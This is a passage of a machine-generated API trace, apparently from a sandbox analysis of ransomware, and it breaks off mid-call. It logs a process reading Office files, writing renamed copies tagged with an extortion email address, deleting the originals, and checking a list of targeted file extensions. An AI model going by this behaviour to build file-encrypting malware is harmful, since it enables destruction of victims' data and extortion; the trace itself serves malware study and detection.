GetLastError () returned 0x0 [0209.749] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x795, lpOverlapped=0x0) returned 1 [0209.773] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0209.774] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.774] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0209.774] SetEndOfFile (hFile=0x1f4) returned 1 [0209.775] CloseHandle (hObject=0x1f4) returned 1 [0209.775] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.775] SetEndOfFile (hFile=0x1f0) returned 1 [0209.776] CloseHandle (hObject=0x1f0) returned 1 [0209.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0209.776] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0209.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0209.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0209.776] lstrlenW (lpString=".doc") returned 4 [0209.776] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0209.776] lstrlenW (lpString=".docx") returned 5 [0209.777] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0209.777] lstrlenW (lpString=".pdf") returned 4 [0209.777] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0209.777] lstrlenW (lpString=".xls") returned 4 [0209.777] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0209.777] lstrlenW (lpString=".xlsx") returned 5 [0209.777] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0209.777] lstrlenW (lpString=".ppt") returned 4 [0209.777] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0209.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0209.777] lstrlenW (lpString=".zip") returned 4 [0209.777] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0209.777] lstrlenW (lpString=".rar") returned 4 [0209.777] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0209.777] lstrlenW (lpString=".bz2") returned 4 [0209.777] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0209.777] lstrlenW (lpString=".7z") returned 3 [0209.777] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0209.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0209.777] lstrlenW (lpString=".dbf") returned 4 [0209.777] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0209.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0209.777] lstrlenW (lpString=".1cd") returned 4 [0209.777] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0209.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0209.777] lstrlenW (lpString=".jpg") returned 4 [0209.777] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0209.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0209.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0209.777] lstrlenW (lpString=".doc") returned 4 [0209.777] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0209.777] lstrlenW (lpString=".docx") returned 5 [0209.777] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0209.777] lstrlenW (lpString=".pdf") returned 4 [0209.777] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0209.777] lstrlenW (lpString=".xls") returned 4 [0209.777] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0209.777] lstrlenW (lpString=".xlsx") returned 5 [0209.777] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0209.777] lstrlenW (lpString=".ppt") returned 4 [0209.777] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0209.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0209.777] lstrlenW (lpString=".zip") returned 4 [0209.777] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0209.777] lstrlenW (lpString=".rar") returned 4 [0209.777] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0209.777] lstrlenW (lpString=".bz2") returned 4 [0209.777] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0209.777] lstrlenW (lpString=".7z") returned 3 [0209.778] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0209.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0209.778] lstrlenW (lpString=".dbf") returned 4 [0209.778] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0209.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0209.778] lstrlenW (lpString=".1cd") returned 4 [0209.778] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0209.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0209.778] lstrlenW (lpString=".jpg") returned 4 [0209.778] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0209.778] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0209.778] lstrlenW (lpString="ExcelMUI.XML") returned 12 [0209.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0209.778] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1565) returned 1 [0209.778] CloseHandle (hObject=0x1f0) returned 1 [0209.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0209.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0209.779] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.779] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0209.779] GetLastError () returned 0x0 [0209.779] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x61d, lpOverlapped=0x0) returned 1 [0209.977] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x620, lpOverlapped=0x0) returned 1 [0209.977] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.977] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0209.977] SetEndOfFile (hFile=0x1f4) returned 1 [0209.988] CloseHandle (hObject=0x1f4) returned 1 [0209.989] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.989] SetEndOfFile (hFile=0x1f0) returned 1 [0209.989] CloseHandle (hObject=0x1f0) returned 1 [0209.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0209.990] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0209.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0209.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0209.990] lstrlenW (lpString=".doc") returned 4 [0209.990] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.990] lstrlenW (lpString=".docx") returned 5 [0209.990] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.990] lstrlenW (lpString=".pdf") returned 4 [0209.990] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.990] lstrlenW (lpString=".xls") returned 4 [0209.990] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.990] lstrlenW (lpString=".xlsx") returned 5 [0209.990] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.990] lstrlenW (lpString=".ppt") returned 4 [0209.990] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0209.990] lstrlenW (lpString=".zip") returned 4 [0209.990] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.990] lstrlenW (lpString=".rar") returned 4 [0209.990] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.990] lstrlenW (lpString=".bz2") returned 4 [0209.990] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.990] lstrlenW (lpString=".7z") returned 3 [0209.990] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0209.990] lstrlenW (lpString=".dbf") returned 4 [0209.990] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0209.990] lstrlenW (lpString=".1cd") returned 4 [0209.990] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0209.990] lstrlenW (lpString=".jpg") returned 4 [0209.990] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0209.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0209.991] lstrlenW (lpString=".doc") returned 4 [0209.991] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.991] lstrlenW (lpString=".docx") returned 5 [0209.991] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.991] lstrlenW (lpString=".pdf") returned 4 [0209.991] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.991] lstrlenW (lpString=".xls") returned 4 [0209.991] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.991] lstrlenW (lpString=".xlsx") returned 5 [0209.991] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.991] lstrlenW (lpString=".ppt") returned 4 [0209.991] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0209.991] lstrlenW (lpString=".zip") returned 4 [0209.991] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.991] lstrlenW (lpString=".rar") returned 4 [0209.991] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.991] lstrlenW (lpString=".bz2") returned 4 [0209.991] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.991] lstrlenW (lpString=".7z") returned 3 [0209.991] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0209.991] lstrlenW (lpString=".dbf") returned 4 [0209.991] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0209.991] lstrlenW (lpString=".1cd") returned 4 [0209.991] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0209.991] lstrlenW (lpString=".jpg") returned 4 [0209.991] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.991] lstrcmpiW (lpString1=".CHM", lpString2=".AUF") returned 1 [0209.991] lstrlenW (lpString="OCT.CHM") returned 7 [0209.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0210.511] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=71236) returned 1 [0210.511] CloseHandle (hObject=0x1fc) returned 1 [0210.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0210.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0210.512] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.512] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0210.512] GetLastError () returned 0x0 [0210.512] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x11644, lpOverlapped=0x0) returned 1 [0210.572] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x11650, lpOverlapped=0x0) returned 1 [0210.573] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.573] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0210.573] SetEndOfFile (hFile=0x1dc) returned 1 [0210.573] CloseHandle (hObject=0x1dc) returned 1 [0210.574] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.574] SetEndOfFile (hFile=0x1fc) returned 1 [0210.575] CloseHandle (hObject=0x1fc) returned 1 [0210.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.576] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0210.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0210.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0210.639] lstrlenW (lpString=".doc") returned 4 [0210.639] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0210.639] lstrlenW (lpString=".docx") returned 5 [0210.639] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0210.639] lstrlenW (lpString=".pdf") returned 4 [0210.639] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0210.639] lstrlenW (lpString=".xls") returned 4 [0210.639] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0210.639] lstrlenW (lpString=".xlsx") returned 5 [0210.639] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0210.639] lstrlenW (lpString=".ppt") returned 4 [0210.639] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0210.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0210.639] lstrlenW (lpString=".zip") returned 4 [0210.639] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0210.639] lstrlenW (lpString=".rar") returned 4 [0210.639] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0210.639] lstrlenW (lpString=".bz2") returned 4 [0210.639] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0210.639] lstrlenW (lpString=".7z") returned 3 [0210.639] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0210.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0210.639] lstrlenW (lpString=".dbf") returned 4 [0210.639] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0210.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0210.639] lstrlenW (lpString=".1cd") returned 4 [0210.639] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0210.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0210.639] lstrlenW (lpString=".jpg") returned 4 [0210.639] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0210.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0210.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0210.640] lstrlenW (lpString=".doc") returned 4 [0210.640] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0210.640] lstrlenW (lpString=".docx") returned 5 [0210.640] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0210.640] lstrlenW (lpString=".pdf") returned 4 [0210.640] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0210.640] lstrlenW (lpString=".xls") returned 4 [0210.640] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0210.640] lstrlenW (lpString=".xlsx") returned 5 [0210.640] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0210.640] lstrlenW (lpString=".ppt") returned 4 [0210.640] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0210.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0210.640] lstrlenW (lpString=".zip") returned 4 [0210.640] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0210.640] lstrlenW (lpString=".rar") returned 4 [0210.640] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0210.640] lstrlenW (lpString=".bz2") returned 4 [0210.640] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0210.640] lstrlenW (lpString=".7z") returned 3 [0210.640] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0210.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0210.640] lstrlenW (lpString=".dbf") returned 4 [0210.640] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0210.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0210.640] lstrlenW (lpString=".1cd") returned 4 [0210.640] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0210.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0210.640] lstrlenW (lpString=".jpg") returned 4 [0210.640] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0210.640] lstrcmpiW (lpString1=".CHM", lpString2=".AUF") returned 1 [0210.640] lstrlenW (lpString="PSS10O.CHM") returned 10 [0210.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0210.641] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=26929) returned 1 [0210.641] CloseHandle (hObject=0x174) returned 1 [0210.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0210.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 